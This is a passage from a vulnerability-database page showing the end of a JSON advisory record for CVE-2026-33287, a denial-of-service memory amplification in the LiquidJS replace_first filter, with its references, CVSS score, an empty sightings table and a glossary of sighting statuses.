"published": "2026-03-25T17:44:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-6q5m-63h6-5x4v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33287"
},
{
"type": "WEB",
"url": "https://github.com/harttle/liquidjs/commit/35d523026345d80458df24c72e653db78b5d061d"
},
{
"type": "PACKAGE",
"url": "https://github.com/harttle/liquidjs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "LiquidJS has Exponential Memory Amplification through its replace_first Filter $\u0026 Pattern"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.